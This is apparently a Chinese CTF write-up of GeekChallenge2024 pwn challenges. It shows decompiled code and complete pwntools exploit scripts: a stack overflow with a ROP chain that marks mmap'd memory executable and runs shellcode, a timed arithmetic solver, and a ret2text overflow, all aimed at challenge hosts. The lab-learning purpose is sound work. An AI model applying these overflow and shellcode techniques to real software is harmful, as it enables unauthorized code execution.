GeekChallenge2024 write-up (复现)
pwn部分
ez_shellcode 查保护 no pie, no canary
64位小端 动态链接
逆向主函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int __fastcall main (int argc, const char **argv, const char **envp) { char name[8 ]; void *p; size_t len; init(argc, argv, envp); len = sysconf(30 ); p = mmap(0LL , len, 3 , 34 , -1 , 0LL ); if ( p == (void *)-1LL ) { perror("mmap" ); return 1 ; } else { shellcode = p; puts ("Hello!!!" ); puts ("do you know shellcode?" ); memset (shellcode, 144 , 0x1F4 uLL); read(0 , shellcode, 0x190 uLL); puts ("please input your name:" ); gets(name); return 0 ; } }
该代码本质上就是顺序执行了2次读入
程序在读入前先申请了一块内存,具有可读可写权限,在期间穿插puts输出提示信息
第一次读入申请的内存 可以写入shellcode
第二次读入栈 可以栈溢出
在程序中发现了gift()
函数: 将申请内存的执行权限改为 仅可执行 该函数没有被引用过
根据这些程序信息:
可以在内存区域写入
可以将这个内存区域变为可执行
可以栈溢出控制rip
那么现在pwn掉这个程序的思路:
在程序逻辑的执行过程中 向申请内存写入待执行的shellcode
构造rop链,执行gift()
函数,修改该申请内存权限为 仅可执行
执行这段shellcode, pwn掉这个程序。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *import os exe = ELF("./shellcode" ) context.binary = exeif os.environ.get("ZELLIJ" ) == "0" : context.terminal = [ "zellij" , "action" , "new-pane" , "-d" , "right" , "-c" , "--" , "bash" , "-c" , ]def conn (): if args.LOCAL: io = process([exe.path]) if args.GDB: gdb.attach(io) elif args.GDB: io = gdb.debug([exe.path]) else : io = remote("nc1.ctfplus.cn" , 21417 ) return iodef dbg (cmd="" ): if args.LOCAL: gdb.attach(io, cmd) pause()def main (): global io io = conn() shellcode = asm(shellcraft.sh()) io.sendlineafter(b"do you know shellcode?\n" , shellcode) offset = 0x18 + 8 gift = 0x401256 sc_addr = 0x7ffff7ffa000 ret = 0x401315 payload = b"A" * offset + p64(ret) + p64(gift) + p64(ret) + p64(sc_addr) io.sendlineafter(b"please input your name:\n" , payload) io.interactive()if __name__ == "__main__" : main()
简单的签到题 64位小端 no pie no canary
逆向:
1 2 3 4 5 6 7 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); welcome(); math1(); return 0 ; }
1 2 3 4 5 6 7 8 int welcome () { puts ("Welcome to the world of \"pwn\"!" ); puts ( "Now you have to learn \"nc\" and \"pwntools\" to solve the following problems. If you are ready, press the Enter key" " to start our challenge." ); return getchar(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int math1 () { unsigned int seed; unsigned int num2; unsigned int num1; seed = time(0LL ); srand(seed); num1 = rand() % 10000 + 1 ; num2 = rand() % 10000 + 1 ; printf ("%d * %d = " , num1, num2); if ( (unsigned int )get_input_with_timeout() != num2 * num1 ) { printf ("Incorrect. The correct answer was %d. Exiting...\n" , num2 * num1); exit (1 ); } puts ("Correct! Opening shell..." ); return system("/bin/sh" ); }
这个程序是先输入一些提示信息,然后让你快速算出两个随机数的和,算对即可给你shell 程序的核心是math1()
函数和其中的get_input_with_timeout()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 get_input_with_timeout () { unsigned int num; char s[128 ]; signal(14 , (__sighandler_t )handle_alarm); alarm(3u ); if ( !fgets(s, 128 , stdin ) ) { puts ("No input received. Exiting..." ); exit (1 ); } if ( timed_out ) { puts ("Time is up. Exiting..." ); exit (1 ); } if ( (unsigned int )__isoc99_sscanf(s, "%d" , &num) == 1 ) { alarm(0 ); return num; } else { puts ("Invalid input. Please enter a number." ); alarm(0 ); return 0xFFFFFFFF LL; } }void handle_alarm () { timed_out = 1 ; }
程序用get_input_with_timeout()
函数读取输入的乘法结果, 并用signal()
和alarm()
函数对输入时间进行了限制 3秒内完成输入等步骤才可以正常返回,否则会返回错误的值使对比失败
三秒内完成计算等步骤即可
在脚本中接受数据,进行计算后发送 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *import os exe = ELF("./main_patched" ) context.binary = exe context.log_level = "debug" if os.environ.get("ZELLIJ" ) == "0" : context.terminal = [ "zellij" , "action" , "new-pane" , "-d" , "right" , "-c" , "--" , "bash" , "-c" , ]def conn (): if args.LOCAL: io = process([exe.path]) if args.GDB: gdb.attach(io) elif args.GDB: io = gdb.debug([exe.path]) else : io = remote("nc1.ctfplus.cn" , 41294 ) return iodef dbg (cmd="" ): if args.LOCAL: gdb.attach(io, cmd) pause()def main (): global io io = conn() io.recvuntil(b"start our challenge.\n" ) io.send(b"\n" ) num1 = io.recvuntil(b" * " )[0 :4 ] num2 = io.recvuntil(b" =" )[0 :4 ] num1 = int (num1) num2 = int (num2) res = num1 * num2 io.sendline(str (res)) io.interactive()if __name__ == "__main__" : main()
000000 64位小端 pie canary
你会栈溢出吗 64位小端 no canary no pie
逆向:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int welcome () { char buf[12 ]; puts ("Welcome to geek,what's you name?" ); gets(buf); return printf ("hello,%s\nDo you know key?" , buf); } __int64 key () { printf ("yes,yes,this is key.you can catch me?" ); system("/bin/sh" ); return 0LL ; }
签到题 有栈溢出 有后门函数 ret2text
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *import os exe = ELF("./stackover_patched" ) context.binary = exeif os.environ.get("ZELLIJ" ) == "0" : context.terminal = [ "zellij" , "action" , "new-pane" , "-d" , "right" , "-c" , "--" , "bash" , "-c" , ]def conn (): if args.LOCAL: io = process([exe.path]) if args.GDB: gdb.attach(io) elif args.GDB: io = gdb.debug([exe.path]) else : io = remote("nc1.ctfplus.cn" , 40906 ) return iodef dbg (cmd="" ): if args.LOCAL: gdb.attach(io, cmd) pause()def main (): global io io = conn() offset = 0xC + 8 key = 0x400728 res = 0x40074F payload = b"A" * offset + p64(res) + p64(key) io.sendlineafter(b"what's you name?\n" , payload) io.interactive()if __name__ == "__main__" : main()
over_flow?? 64位小端 有canary no pie